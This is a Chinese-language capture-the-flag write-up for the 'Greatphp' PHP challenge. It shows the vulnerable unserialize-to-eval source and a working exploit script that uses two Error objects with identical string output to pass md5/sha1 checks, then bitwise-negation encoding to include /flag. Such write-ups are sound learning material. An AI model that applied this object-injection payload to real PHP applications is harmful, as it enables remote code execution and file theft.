[极客大挑战2020]Greatphp

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
error_reporting(0);
class SYCLOVER {
public $syc;
public $lover;

public function __wakeup(){
if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
eval($this->syc);
} else {
die("Try Hard !!");
}

}
}
}

if (isset($_GET['great'])){
unserialize($_GET['great']);
} else {
highlight_file(__FILE__);
}

?>

这一个条件,在普通的题目里,只需要用数组绕过即可,但是这里是在类中,该怎么绕过呢?

我们可以使用含有 __toString 方法的php内置类来绕过,用的两个比较多的内置类是 Exception 和Error ,他们之中有一个 __toString fangfa ,当类被当作字符串处理时,就会调用这个函数,以Error 类为例,我们可控当触发他的__toString 方法时会发生什么?

1

发现会以字符串的形式 输出当前报错,包含当前的错误信息, 以及他出现错误的行号 (3),从而传入Error (“payload”,9)中的错误代码 “9 ” 则没有被输出出来,再来看看如何 绕过md5以及 sha1.

2

可见 $a 和$b 这两个对象本身是不同的。但是 __toString 方法返回的结果是相同的,这里之所以需要在同一行是因为 __toString 返回的数据包含当前的行号

Exception 类与Error 类的使用和结果完全一样,只不过Exception 类适用于PHP 5和7 而Error 只适用于php7

我们可以将题目代码中的$syc 和 $lover 分别声明为类似上面的内置类对象,让着两个对象本身不同 (传入的错误代码即可), 但是 __toString 方法输出的结果相同即可。

由于题目 用preg_match 过滤了小括号 无法调用函数,所以我们尝试 直接 include “/flag” 将flag 包含进来即可,由于过滤了引号,我们直接用url 取反绕过即可。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
class SYCLOVER {
public $syc;
public $lover;
public function __wakeup(){
if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
eval($this->syc);
} else {
die("Try Hard !!");
}


}
}

}
$str = "?><?=include~".urldecode("%D0%99%93%9E%98")."?>";
$a=new Error($str,1);$b=new Error($str,2);
$c = new SYCLOVER();
$c->syc = $a;
$c->lover = $b;
echo(urlencode(serialize($c)));

?>

3

总结:
error 原生类 __toString 方法的结果是相同的。 记住行号也需要一样,他们的值是不一样的,但是呢, 结果的md5值是一样的,从而可以绕过 。执行eval 函数,eval include /flag。

对php 原生类 有了些许了解,但还需要继续学习。